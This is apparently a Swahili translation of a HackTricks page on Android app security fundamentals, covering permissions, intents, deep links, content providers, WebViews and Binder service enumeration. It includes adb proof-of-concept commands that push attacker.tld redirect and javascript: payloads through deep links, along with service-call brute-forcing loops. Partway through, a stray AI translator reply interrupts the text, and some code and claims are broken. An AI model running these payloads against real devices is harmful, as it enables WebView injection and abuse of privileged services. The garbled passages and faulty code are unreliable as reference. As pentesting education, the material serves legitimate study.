Android Applications Basics

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Android Security Model

Kuna safu mbili:

  • The OS, ambayo inalinda applications zilizowekwa kuwa zimekataliwa kutoka kwa kila moja.
  • The application itself, ambayo inaruhusu developers kuonyesha baadhi ya functionalities na kuanzisha uwezo wa application.

UID Separation

Kila application inapewa User ID maalum. Hii hufanywa wakati wa kusakinisha app ili app iweze kuingiliana tu na files zinazomilikiwa na User ID yake au files zilizoshirikiwa. Kwa hivyo, ni app yenyewe pekee, baadhi ya components za OS na root user wanaweza kufikia data za apps.

UID Sharing

Applications mbili zinaweza kupewa kutumia UID moja. Hii inaweza kuwa muhimu kwa kushiriki taarifa, lakini ikiwa moja yao itaharibiwa data za zote mbili zitaharibiwa. Hii ndiyo sababu tabia hii inapendekezwa kuwa isifanyike.
Ili kushiriki UID sawa, applications lazima zifafanue thamani ile ile ya android:sharedUserId katika manifests zao.

Sandboxing

The Android Application Sandbox inaruhusu kukimbia kila application kama mchakato tofauti chini ya User ID tofauti. Kila mchakato una virtual machine yake, hivyo code ya app inaendesha kwa kutengwa kutoka kwa apps nyingine.
Tangu Android 5.0(L) SELinux inafungwa. Kwa msingi, SELinux ilizuia mwingiliano wa mchakato wote kisha ikaunda policies za kuruhusu tu mwingiliano uliotarajiwa kati yao.

Permissions

Unapomsakinisha app na inaomba permissions, app inaomba permissions zilizosanifiwa katika vipengele vya uses-permission katika faili ya AndroidManifest.xml. Kipengele cha uses-permission kinaonyesha jina la ruhusa inayohitajika ndani ya name attribute. Pia kina attribute ya maxSdkVersion ambayo inazuia kuomba ruhusa kwenye versions zilizo juu zaidi ya iliyotajwa.
Kumbuka kwamba android applications hazihitaji kuomba ruhusa zote mwanzoni, zinaweza pia kuomba ruhusa kwa dynamic lakini ruhusa zote lazima ziwe zimetangazwa katika manifest.

App inapochukua functionality inaweza kupunguza ufikikaji kwa apps tu ambazo zina ruhusa maalum.
Kipengele cha permission kina attributes tatu:

  • The name ya ruhusa
  • The permission-group attribute, ambayo inaruhusu kuunganisha permissions zinazohusiana.
  • The protection-level ambayo inaonyesha jinsi ruhusa zinavyotolewa. Kuna aina nne:
  • Normal: Inatumiwa wakati kuna hatari zisizojulikana kwa app. Mtumiaji hatajulikana kuidhinisha.
  • Dangerous: Inaonyesha ruhusa inamweka requesting application kupata ufikikaji uliostawishwa. Watumiaji huombwa kuziidhinisha.
  • Signature: Ni kwa apps zilizosigned na certificate ile ile inayosafirisha component zinaweza kupewa ruhusa. Hii ni aina yenye nguvu zaidi ya ulinzi.
  • SignatureOrSystem: Kwa ajili ya apps zilizosigned na certificate ile ile inayosafirisha component au apps zinazokimbia kwa system-level access zinaweza kupewa ruhusa

Pre-Installed Applications

Apps hizi kwa kawaida hupatikana katika directories za /system/app au /system/priv-app na baadhi yao ni optimized (huenda usipate hata faili ya classes.dex). Applications hizi zinastahili kukaguliwa kwa sababu wakati mwingine zina kuendesha zikiwa na permissions nyingi mno (kama root).

  • Zilizotolewa pamoja na AOSP (Android OpenSource Project) ROM
  • Ziliwekwa na mtengenezaji wa kifaa (device manufacturer)
  • Ziliwekwa na mtoa huduma wa simu (cell phone provider) (ikiwa ulinunua kutoka kwao)

Rooting

Ili kupata root access kwenye kifaa halisi cha android kwa kawaida unahitaji kufungua 1 au 2 vulnerabilities ambazo mara nyingi huwa maalum kwa kifaa na version.
Mara exploit itakapofanya kazi, kawaida binary ya Linux su inakopiwa kwenye eneo lililotajwa katika PATH ya mtumiaji kama /system/xbin.

Mara su binary itakaposanifiwa, app nyingine ya Android inatumika kuingiliana na su binary na kusindika requests za root access kama Superuser na SuperSU (zinapatikana Google Play store).

Caution

Kumbuka kwamba mchakato wa rooting ni hatari sana na unaweza kuharibu kifaa kwa kiasi kikubwa

ROMs

Inawezekana kubadilisha OS kwa kusakinisha firmware custom. Kwa kufanya hivyo inawezekana kuongeza ufanisi wa kifaa kilichookelea, kuzuia vikwazo vya software au kupata ufikikaji kwa code ya mwisho ya Android.
OmniROM na LineageOS ni mbili kati ya firmwares maarufu kutumia.

Kumbuka kwamba sio kila wakati inahitajika root ili kusakinisha custom firmware. Baadhi ya watengenezaji huruhusu kufungua bootloaders zao kwa njia iliyoandikwa vizuri na salama.

Implications

Mara kifaa kitakapokuwa rooted, app yoyote inaweza kuomba ufikikaji kama root. Ikiwa application ya kibaya itapata, itaweza kufikia karibu kila kitu na itakuwa na uwezo wa kuharibu simu.

Android Application Fundamentals

  • Muundo wa Android applications unarejelewa kama APK file format. Ni kwa msingi ZIP file (kwa kubadilisha extension ya faili kuwa .zip, muudhui unaweza kutolewa na kuangaliwa).
  • APK Contents (Si kamili)
  • AndroidManifest.xml
  • resources.arsc/strings.xml
  • resources.arsc: ina precompiled resources, kama binary XML.
  • res/xml/files_paths.xml
  • META-INF/
  • Hapa ndiko Certificate inapoonekana!
  • classes.dex
  • Inabeba Dalvik bytecode, inayoonyesha Java (au Kotlin) iliyokomuliwa ambayo application inatekeleza kwa default.
  • lib/
  • Inahifadhi native libraries, zikiwa zimegawanywa kwa CPU architecture katika subdirectories.
  • armeabi: code kwa processors za ARM
  • armeabi-v7a: code kwa processors za ARMv7 na za juu
  • x86: code kwa processors za X86
  • mips: code kwa processors za MIPS pekee
  • assets/
  • Inahifadhi mafaili mbalimbali yanayohitajika na app, kwa uwezekano ikijumuisha native libraries au DEX files za ziada, wakati mwingine zinatumiwa na waandishi wa malware kuficha code ya ziada.
  • res/
  • Ina resources ambazo hazijakomiliwa ndani ya resources.arsc

Dalvik & Smali

Katika maendeleo ya Android, Java au Kotlin zimetumika kuunda apps. Badala ya kutumia JVM kama kwenye apps za desktop, Android hukomilisha code hii kuwa Dalvik Executable (DEX) bytecode. Hapo awali, Dalvik virtual machine ilisimamia bytecode hii, lakini sasa, Android Runtime (ART) inachukua nafasi katika versions mpya za Android.

Kwa reverse engineering, Smali inakuwa muhimu. Ni toleo linalosomeka na binadamu la DEX bytecode, likifanya kazi kama assembly language kwa kutafsiri source code kuwa maagizo ya bytecode. Smali na baksmali zinarejea zana za assembly na disassembly katika muktadha huu.

Intents

Intents ni njia kuu ambazo apps za Android zinawasilishana kati ya components zao au na apps nyingine. Vitu hivi vya ujumbe pia vinaweza kubeba data kati ya apps au components, sawa na jinsi GET/POST requests zinavyotumiwa katika mawasiliano ya HTTP.

Hivyo Intent kwa msingi ni ujumbe unaopitishwa kati ya components. Intents zinaweza kuelekezwa kwa components au apps maalum, au zinaruhusiwa kutumwa bila mpokeaji maalum.
Kwa ujumla Intent inaweza kutumika:

  • Kuanzisha Activity, kawaida kufungua user interface ya app
  • Kama broadcasts kuarifu system na apps kuhusu mabadiliko
  • Kuanzisha, kusimamisha, na kuwasiliana na background service
  • Kupata data kupitia ContentProviders
  • Kama callbacks kushughulikia matukio

Ikiwa ina udhaifu, Intents zinaweza kutumika kufanya aina mbalimbali za mashambulizi.

Intent-Filter

Intent Filters zinafafanua jinsi activity, service, au Broadcast Receiver inaweza kuingiliana na aina tofauti za Intents. Kwa msingi, zinaelezea uwezo wa components hizi, kama hatua ambazo zinaweza kufanya au aina za broadcasts ambazo zinaweza kushughulikia. Mahali kuu pa kutangaza filters hizi ni ndani ya faili ya AndroidManifest.xml, ingawa kwa Broadcast Receivers, kuziandika kwa coding pia ni chaguo.

Intent Filters zimeundwa na categories, actions, na data filters, pamoja na uwezekano wa kujumuisha metadata ya ziada. Mpangilio huu unaruhusu components kushughulikia Intents maalum zinazolingana na vigezo vilivyotangazwa.

Sehemu muhimu ya components za Android (activities/services/content providers/broadcast receivers) ni uonekano wake au hadhi ya public. Component inachukuliwa kuwa public na inaweza kuingiliana na apps nyingine ikiwa imewekwa exported na thamani ya true au ikiwa Intent Filter imetangazwa kwake katika manifest. Hata hivyo, kuna njia kwa developers kuweka components hizi kuwa private kwa wazi, kuhakikisha hazingalatii kuingiliana na apps nyingine bila kusudi. Hii inafanywa kwa kuweka attribute ya exported kuwa false katika ufafanuzi wao wa manifest.

Zaidi ya hayo, developers wana chaguo la kulinda ufikikaji wa components hizi zaidi kwa kuhitaji ruhusa maalum. Attribute ya permission inaweza kuwekwa ili kulazimisha kwamba ni apps zenye ruhusa iliyoainishwa tu ndizo zinaweza kufikia component, ikiongeza tabaka la usalama na udhibiti juu ya nani anaweza kuingiliana nayo.

<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>

Implicit Intents

Intents huundwa kwa njia ya programu kwa kutumia Intent constructor:

Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));

Action ya intent iliyotangazwa hapo awali ni ACTION_SEND na Extra ni mailto Uri (Extra ni taarifa za ziada ambazo intent inatarajia).

Intent hii inapaswa kutangazwa ndani ya manifest kama katika mfano ufuatao:

<activity android:name="ShareActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

An intent-filter inahitaji kuendana na action, data na category ili kupokea ujumbe.

The “Intent resolution” process unaamua ni app gani itapokea kila ujumbe. Mchakato huu unazingatia the priority attribute, ambayo inaweza kuwekwa katika the intent-filter declaration, na ile yenye priority ya juu itachaguliwa. Priority hii inaweza kuwekwa kati ya -1000 na 1000 na applications zinaweza kutumia thamani ya SYSTEM_HIGH_PRIORITY. Ikiwa kutatokea mgogoro, dirisha la “choser” linaonekana ili mtumiaji anaweza kuamua.

Explicit Intents

An explicit intent inabainisha jina la class inayolengwa:

Intent downloadIntent = new (this, DownloadService.class):

Katika programu nyingine, ili kupata intent iliyotangazwa hapo awali unaweza kutumia:

Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);

Pending Intents

Hizi zinawawezesha programu nyingine kuchukua vitendo kwa niaba ya programu yako, zikitumia utambulisho na ruhusa za app yako. Unapojenga Pending Intent inapaswa kutajwa intent na the action to perform. Ikiwa declared intent isn’t Explicit (haitajwi ni intent gani inaweza kuiita) programu hasidi inaweza perform the declared action kwa niaba ya app-mlengwa. Zaidi ya hayo, if an action isn’t specified, programu hasidi itakuwa na uwezo wa kufanya kazi yoyote kwa niaba ya mlengwa.

Broadcast Intents

Tofauti na intents za hapo juu, ambazo hupokelewa na app moja pekee, broadcast intents zinaweza kupokelewa na apps nyingi. Hata hivyo, tangu API version 14, inawezekana kufafanua app itakayopokea ujumbe kwa kutumia Intent.set Package.

Vinginevyo pia inawezekana kufafanua ruhusa wakati wa kutuma broadcast. App inayopokea itahitaji kuwa na ruhusa hiyo.

Kuna aina mbili za Broadcasts: Normal (asynchronous) na Ordered (synchronous). Order inategemea configured priority within the receiver element. Kila app inaweza kusindika, kupeleka au kuacha Broadcast.

Inawezekana kutuma broadcast kwa kutumia function sendBroadcast(intent, receiverPermission) kutoka kwa class ya Context.
Unaweza pia kutumia function sendBroadcast kutoka kwa LocalBroadCastManager ambayo inahakikisha ujumbe hauendi nje ya app. Kwa kutumia hili hauitaji hata ku-export receiver component.

Sticky Broadcasts

Aina hii ya Broadcasts inaweza kupatikana kwa muda mrefu baada ya kutumwa.
Zilitoweka (deprecated) katika API level 21 na inashauriwa usiwazitumie.
Zinaruhusu programu yoyote kusoma data, lakini pia kuibadilisha.

Ikiwa ukiona functions zinazojumuisha neno “sticky” kama sendStickyBroadcast au sendStickyBroadcastAsUser, angalia athari na jaribu kuziondoa.

Deep links / URL schemes

Kwenye Android applications, deep links hutumika kuanzisha action (Intent) moja kwa moja kupitia URL. Hii hufanyika kwa kutangaza URL scheme maalum ndani ya activity. Wakati kifaa cha Android kinapojaribu access a URL with this scheme, activity iliyotajwa ndani ya app itaanzishwa.

Scheme lazima itangazwe kwenye faili AndroidManifest.xml:

[...]
<activity android:name=".MyActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="examplescheme" />
</intent-filter>
[...]

Skimu kutoka kwa mfano uliotangulia ni examplescheme:// (kumbuka pia category BROWSABLE)

Kisha, kwenye uwanja wa data, unaweza kubainisha host na path:

<data android:scheme="examplescheme"
android:host="example"
/>

Ili kuifikia kutoka kwa wavuti, inawezekana kuweka kiungo kama:

<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>

Ili kupata code that will be executed in the App, nenda kwenye activity called by the deeplink na tafuta function onNewIntent.

Learn how to call deep links without using HTML pages.

Deep link security testing & adb PoCs

  • Entry point discovery: exported Activities that declare <action android:name="android.intent.action.VIEW" /> + <category android:name="android.intent.category.BROWSABLE" /> zinaweza kufikiwa kwa mbali kupitia crafted URIs (custom schemes au http/https App Links). Zipangilia kipaumbele paths zenye maneno muhimu login/reset/payment/wallet/admin.
  • Validation bypass heuristics: weak host checks such as endsWith(), contains(), permissive regexes, or substring allowlists mara nyingi zinaweza kupitishwa kwa subdomains zinazoendeshwa na mshambuliaji, mbinu za prefix/suffix, na double-encoding ya URL/UTF‑8.
  • WebView sinks: ikiwa handler itapeleka incoming URI au query params kwa WebView.loadUrl(...), unaweza kulazimisha app ianze kuonyesha maudhui yoyote yaliyotengenezwa na mshambuliaji. Kama scheme validation ni dhaifu, jaribu payloads za javascript: pamoja na external https:// URLs.
  • adb PoC templates (implicit vs explicit):
# Generic implicit VIEW (custom scheme or App Link)
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Explicitly target a specific Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myapp://host/path?redirect=https://attacker.tld"

# Try javascript: when scheme filters are lax
adb shell am start -a android.intent.action.VIEW \
-d "myapp://host/web?url=javascript:alert(1)"
  • Vidokezo vya uendeshaji: chukua aina mbalimbali za payload (external URL vs javascript:) na zi-replay haraka dhidi ya kifaa/emulator ili kutofautisha matatizo halisi (open-redirect/auth-bypass/WebView URL injection) na kelele ya static-analysis.
  • Automation: Deep-C inafanya kazi ya ku-automate deeplink hunting kwa ku-decompile APK (apktool + dex2jar + jadx), kuorodhesha exported + browsable activities, kuunganisha weak validation na mtiririko wa WebView.loadUrl, na kutoa adb PoCs tayari-kukimbia (hiari kutekelezwa moja kwa moja kwa --exec).

AIDL - Android Interface Definition Language

The Android Interface Definition Language (AIDL) imeundwa kusaidia mawasiliano kati ya client na service katika Android applications kupitia mawasiliano kati ya michakato (interprocess communication, IPC). Kwa kuwa kufikia moja kwa moja memory ya mchakato mwingine hakuruhusiwi kwenye Android, AIDL inal Simplify mchakato kwa ku-marshall vitu katika format inayofahamikana na operating system, hivyo kurahisisha mawasiliano kati ya michakato tofauti.

Dhana Muhimu

  • Bound Services: Huduma hizi zinatumia AIDL kwa IPC, kuruhusu activities au components kushika binding kwa service, kutuma requests, na kupokea responses. Method ya onBind katika class ya service ni muhimu kwa kuanzisha mwingiliano, na hivyo ni eneo muhimu la mapitio ya usalama kwa kutafuta udhaifu.

  • Messenger: Inafanya kazi kama bound service, Messenger inarahisisha IPC kwa kuzingatia uendeshaji wa data kupitia method ya onBind. Ni muhimu kuchunguza method hii kwa karibu kwa uchakataji wa data usio salama au utekelezaji wa vitendo nyeti.

  • Binder: Ingawa matumizi ya moja kwa moja ya Binder class ni nadra kutokana na abstraction ya AIDL, ni faida kuelewa kwamba Binder hufanya kazi kama kernel-level driver inayowezesha uhamishaji wa data kati ya memory spaces za michakato tofauti. Kwa ufahamu zaidi, rasilimali ipo hapa: https://www.youtube.com/watch?v=O-UHvFjxwZ8.

Vipengele

Hivi vinajumuisha: Activities, Services, Broadcast Receivers and Providers.

Launcher Activity na activities nyingine

Katika apps za Android, activities ni kama skrini, zinaonyesha sehemu tofauti za user interface ya app. App inaweza kuwa na activities nyingi, kila moja ikiwasilisha skrini ya kipekee kwa mtumiaji.

The launcher activity ni lango kuu la app, inazinduliwa unapogusa icon ya app. Imefafanuliwa katika faili ya manifesto ya app na intents za kipekee MAIN na LAUNCHER:

<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

Sio apps zote zinahitaji launcher activity, hasa zile zisizo na user interface, kama background services.

Activities zinaweza kutolewa kwa apps nyingine au michakato kwa kuziweka kama “exported” katika manifest. Mpangilio huu unawawezesha apps nyingine kuanzisha activity hii:

<service android:name=".ExampleExportedService" android:exported="true"/>

Hata hivyo, kufikia activity kutoka kwa app nyingine si kila wakati hatari ya usalama. Wasiwasi hutokea ikiwa data nyeti inashirikiwa vibaya, ambayo inaweza kusababisha leaks.

Mzunguko wa maisha ya activity unaanza na the onCreate method, ukitayarisha UI na kuandaa activity kwa mwingiliano na mtumiaji.

Subclass ya Application

Katika maendeleo ya Android, app ina chaguo la kuunda subclass ya Application class, ingawa si lazima. Wakati subclass kama hiyo itakapofafanuliwa, inakuwa class ya kwanza kuanzishwa ndani ya app. The attachBaseContext method, ikiwa imetekelezwa katika subclass hii, hufanywa kabla ya the onCreate method. Mpangilio huu unaruhusu uwezeshaji wa mapema kabla ya sehemu nyingine za application kuanza.

public class MyApp extends Application {
@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
// Initialization code here
}

@Override
public void onCreate() {
super.onCreate();
// More initialization code
}
}

Huduma

Services ni vipengele vinavyofanya kazi nyuma vinavyoweza kutekeleza kazi bila kiolesura cha mtumiaji. Kazi hizi zinaweza kuendelea kukimbia hata watumiaji wanapobadilisha kwenda kwenye programu tofauti, na kufanya huduma kuwa muhimu kwa operesheni zinazodumu kwa muda mrefu.

Huduma ni za aina nyingi; zinaweza kuanzishwa kwa njia mbalimbali, na Intents kuwa njia kuu ya kuziweka kama sehemu ya kuingia ya programu. Mara huduma inapoanzishwa kwa kutumia startService, onStart inaanza kutenda na inaendelea kukimbia hadi stopService iitwe waziwazi. Vinginevyo, ikiwa jukumu la huduma linategemea muunganisho hai wa mteja, hutumika bindService kufunga mteja na huduma, na onBind kwa ajili ya uhamishaji wa data.

Matumizi ya kuvutia ya huduma ni kama kucheza muziki kwa usuli au kupata data za mtandao bila kuzuia mwingiliano wa mtumiaji na app. Zaidi ya hayo, huduma zinaweza kupatikana kwa mchakato mwingine kwenye kifaa hicho kupitia exporting. Hii sio tabia ya default na inahitaji usanidi wazi katika Android Manifest file:

<service android:name=".ExampleExportedService" android:exported="true"/>

Broadcast Receivers

Broadcast receivers hufanya kazi kama wasikilizaji katika mfumo wa ujumbe, ziwezesha programu nyingi kujibu ujumbe yale yale kutoka kwa mfumo. App inaweza register a receiver kwa nyakati mbili kuu: kupitia Manifest ya app au dynamically ndani ya code ya app kupitia API ya registerReceiver. Katika Manifest, broadcasts huwekezwa kwa vigezo vya ruhusa, wakati wapokeaji walio registered kwa njia dynamic wanaweza pia kubainisha ruhusa wakati wa usajili.

Intent filters ni muhimu katika mbinu zote mbili za usajili, zikibainisha ni broadcasts gani zitakazochochea receiver. Mara broadcast inayofanana ikitumwa, method ya receiver onReceive inaitwa, ikiruhusu app kuonyesha mabadiliko, kama kubadilisha tabia kutokana na onyo la low battery.

Broadcasts zinaweza kuwa asynchronous, zikifikia wapokeaji wote bila mpangilio, au synchronous, ambapo wapokeaji hupokea broadcast kulingana na priorities zilizowekwa. Hata hivyo, ni muhimu kutambua hatari za usalama, kwa kuwa app yoyote inaweza kujipa kipaumbele ili kuingilia/intercept broadcast.

Ili kuelewa jinsi receiver inafanya kazi, angalia method ya onReceive ndani ya class yake. Code ya method hii inaweza kuharibu au kubadilisha Intent iliyopokelewa, hivyo kuonyesha umuhimu wa validation ya data na receivers, hasa katika Ordered Broadcasts, ambazo zinaweza kubadilisha au kukatisha Intent.

Content Provider

Content Providers ni muhimu kwa kushiriki data iliyopangwa kati ya apps, ikisisitiza umuhimu wa kutekeleza permissions kuhakikisha usalama wa data. Zinawawezesha apps kupata data kutoka kwa vyanzo mbalimbali, ikiwemo databases, filesystem, au web. Ruhusa maalum, kama readPermission na writePermission, ni muhimu kudhibiti upatikanaji. Zaidi ya hayo, ufikiaji wa muda mfupi unaweza kutolewa kupitia mipangilio ya grantUriPermission katika manifest ya app, kwa kutumia attributes kama path, pathPrefix, na pathPattern kwa udhibiti wa kina wa upatikanaji.

Validation ya input ni muhimu ili kuzuia udhaifu kama SQL injection. Content Providers zinaunga mkono operesheni za msingi: insert(), update(), delete(), na query(), zikirahisisha uendeshaji na kushiriki data kati ya applications.

Permission semantics and pitfalls (Content Providers)

  • Ikiwa provider imeexported, unapaswa kutangaza both readPermission na writePermission waziwazi. Unapoacha writePermission bila kudhibitishwa default ni null, ikimaanisha app yoyote inaweza kujaribu insert/update/delete ikiwa hizi methods zimetekelezwa na provider.
  • Usisanyike projection, selection, selectionArgs, au sortOrder zisizotegemewa ndani ya raw SQL. Tumia whitelists na parameter binding (mfano, SQLiteQueryBuilder na projection map) na WHERE templates zilizo thabiti.
  • Tumia android:exported=“false” isipokuwa provider lazima iwe public. Kwa kushiriki kwa chaguo, tumia grantUriPermissions kwa path/pathPrefix/pathPattern.

FileProvider, Content Provider maalum, inalenga kushiriki files kwa usalama. Imefafanuliwa katika manifest ya app na attributes maalum kudhibiti upatikanaji wa folders, ikionyesha android:exported na android:resource zikielekeza kwenye mipangilio ya folders. Tahadhari inahitajika wakati wa kushiriki directories ili kuepuka kufichua data nyeti bila kukusudia.

Example manifest declaration for FileProvider:

<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths" />
</provider>

Na mfano wa kutaja folda zilizoshirikiwa katika filepaths.xml:

<paths>
<files-path path="images/" name="myimages" />
</paths>

For further information check:

WebViews

WebViews ni kama vibrowser vidogo vya wavuti ndani ya apps za Android, vinavyopakia maudhui kutoka wavuti au kutoka kwa faili za ndani. Vinakabiliwa na hatari sawa na vichunguzi vya kawaida, lakini kuna njia za kupunguza hatari hizi kupitia mipangilio maalum.

Android inatoa aina kuu mbili za WebView:

  • WebViewClient inafaa kwa HTML ya msingi lakini haisaidii JavaScript alert function, jambo linaloathiri jinsi XSS attacks zinavyoweza kupimwa.
  • WebChromeClient hufanya kazi zaidi kama uzoefu kamili wa browser ya Chrome.

Jambo muhimu ni kwamba vichunguzi vya WebView havishiriki cookies na browser kuu ya kifaa.

Kwa kupakia maudhui, mbinu kama loadUrl, loadData, na loadDataWithBaseURL zinapatikana. Ni muhimu kuhakikisha URL au faili hizi ni salama kutumika. Mipangilio ya usalama inaendeshwa kupitia darasa WebSettings. Kwa mfano, kuzima JavaScript kwa kutumia setJavaScriptEnabled(false) kunaweza kuzuia XSS attacks.

JavaScript “Bridge” inaruhusu vitu vya Java kuingiliana na JavaScript, na inahitaji methods kuwekewa alama @JavascriptInterface kwa usalama tangu Android 4.2.

Kuruhusu content access (setAllowContentAccess(true)) kunawawezesha WebViews kufikia Content Providers, jambo ambalo linaweza kuwa hatari isipokuwa URL za maudhui zimehakikiwa kuwa salama.

Ili kudhibiti file access:

  • Kuzima file access (setAllowFileAccess(false)) kunapunguza ufikaji wa filesystem, kwa ubaguzi kwa assets maalum, kuhakikisha zinatumika tu kwa maudhui yasiyo ya siri.

Vipengele vingine vya App na MDM

Saini ya Kidijitali ya Programu

  • Saini ya kidijitali ni lazima kwa apps za Android, ikiweka uhakika wa asili kabla ya usakinishaji. Mchakato huu unatumia cheti kutambulisha app na lazima uthibitishwe na msimamizi wa pakiti wa kifaa wakati wa usakinishaji. Apps zinaweza kuwa imejisaini mwenyewe au kuthibitishwa na CA ya nje, zikilinda dhidi ya ufikiaji usioidhinishwa na kuhakikisha app haijabadilishwa wakati wa kuwasilishwa kwenye kifaa.

Uthibitishaji wa App kwa Usalama wa Juu

  • Kuanzia Android 4.2, kipengele kinachoitwa Verify Apps kinawawezesha watumiaji kupima apps kwa usalama kabla ya usakinishaji. Mchakato huu wa uthibitishaji unaweza kuwaonya watumiaji dhidi ya apps zinazoweza kuwa hatari, au hata kuzuia usakinishaji wa apps zenye uharibu mkubwa, ukiboresha usalama wa mtumiaji.

Mobile Device Management (MDM)

  • Suluhisho za MDM zinatoa usimamizi na usalama kwa vifaa vya mkononi kupitia Device Administration API. Zinahitaji usakinishaji wa app ya Android ili kusimamia na kulinda vifaa vya mkononi kwa ufanisi. Kazi muhimu ni pamoja na kutekeleza sera za nywila, kulazimisha encryption ya hifadhi, na kuruhusu remote data wipe (kufuta data kwa mbali), kuhakikisha udhibiti na usalama wa kina wa vifaa vya mkononi.
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
ComponentName adminComponent = new ComponentName(context, AdminReceiver.class);

if (dpm.isAdminActive(adminComponent)) {
// Set minimum password length
dpm.setPasswordMinimumLength(adminComponent, 8);
}

Enumerating and Exploiting AIDL / Binder Services

Android Binder IPC inafichua huduma nyingi za system na vendor-provided services. Huduma hizo zinakuwa attack surface wakati zinapotangazwa (exported) bila proper permission check (safu ya AIDL yenyewe haina no access-control).

1. Discover running services

# from an adb shell (USB or wireless)
service list               # simple one-liner
am list services           # identical output, ActivityManager wrapper

I don’t have the file content. Please paste the markdown text from src/mobile-pentesting/android-app-pentesting/android-applications-basics.md that you want translated to Swahili (or confirm where to fetch it). Also confirm you want the translated output formatted as a numbered list.

145  mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
146  wifi             : [android.net.wifi.IWifiManager]
  • Index (safu ya kwanza) hutengwa wakati wa utekelezaji – usitegemee juu yake baada ya kuanzisha upya.
  • Jina la Binder (kwa mfano mtkconnmetrics) ndilo litakalopitishwa kwa service call.
  • Th evalue ndani ya mabano ni AIDL interface iliyotambulishwa kikamilifu ambayo stub ilitengenezwa kutoka kwake.

2. Pata maelezo ya interface (PING)

Kila stub ya Binder inatekeleza kiotomatiki transaction code 0x5f4e5446 (1598968902 kwa decimal, ASCII “_NTF”).

# "ping" the service
service call mtkconnmetrics 1    # 1 == decimal 1598968902 mod 2^32

Jibu halali hurudisha jina la interface lililosimbwa kama string ya UTF-16 ndani ya Parcel.

3. Kuitisha muamala

Sintaksia: service call <name> <code> [type value ...]

Vielezi vya hoja vya kawaida:

  • i32 <int> – thamani ya 32-bit iliyosainiwa
  • i64 <long> – thamani ya 64-bit iliyosainiwa
  • s16 <string> – UTF-16 string (Android 13+ uses utf16)

Mfano – anza ufuatiliaji wa mtandao kwa uid 1 kwenye kifaa cha MediaTek:

service call mtkconnmetrics 8 i32 1

4. Brute-forcing unknown methods

Wakati faili za header hazipatikani unaweza kurudia msimbo hadi kosa libadilike kutoka:

Result: Parcel(00000000 00000000)  # "Not a data message"

kwa mwitikio wa kawaida wa Parcel au SecurityException.

for i in $(seq 1 50); do
printf "[+] %2d -> " $i
service call mtkconnmetrics $i 2>/dev/null | head -1
done

Ikiwa service ilijengwa with proguard ramani lazima igaduliwe – angalia hatua inayofuata.

5. Kuweka ramani codes ↔ methods kupitia onTransact()

Decompile jar/odex inayotekeleza interface (kwa AOSP stubs angalia /system/framework; OEMs mara nyingi hutumia /system_ext au /vendor). Tafuta Stub.onTransact() – ina switch(transactionCode) kubwa:

case TRANSACTION_updateCtaAppStatus:      // 5
data.enforceInterface(DESCRIPTOR);
int appId  = data.readInt();
boolean ok = data.readInt() != 0;
updateCtaAppStatus(appId, ok);
reply.writeNoException();
return true;

Sasa prototype na aina za vigezo ni wazi kabisa.

6. Kutambua ukosefu wa ukaguzi wa ruhusa

Utekelezaji (mara nyingi class ya ndani Impl) unawajibika kwa kuidhinisha:

private void updateCtaAppStatus(int uid, boolean status) {
if (!isPermissionAllowed()) {
throw new SecurityException("uid " + uid + " rejected");
}
/* privileged code */
}

Ukosefu wa mantiki kama hiyo au orodha nyeupe ya UIDs zilizo na vyeo maalum (kwa mfano uid == 1000 /*system*/) ni kiashiria cha udhaifu.

Somo la kesi – MediaTek startMonitorProcessWithUid() (transaction 8) inatimiza kikamilifu ujumbe wa Netlink bila lango lolote la ruhusa, ikiruhusu app isiyo na ruhusa kuingiliana na moduli ya Netfilter ya kernel na kusababisha spam kwenye logi ya mfumo.

7. Kuotomatisha tathmini

Vyombo / skripti vinavyoboreshaji upelelezi wa Binder:

  • binderfs – huonyesha /dev/binderfs na nodi kwa kila huduma
  • binder-scanner.py – inachunguza jedwali la binder na kuchapisha ACLs
  • Ufupisho wa Frida: Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks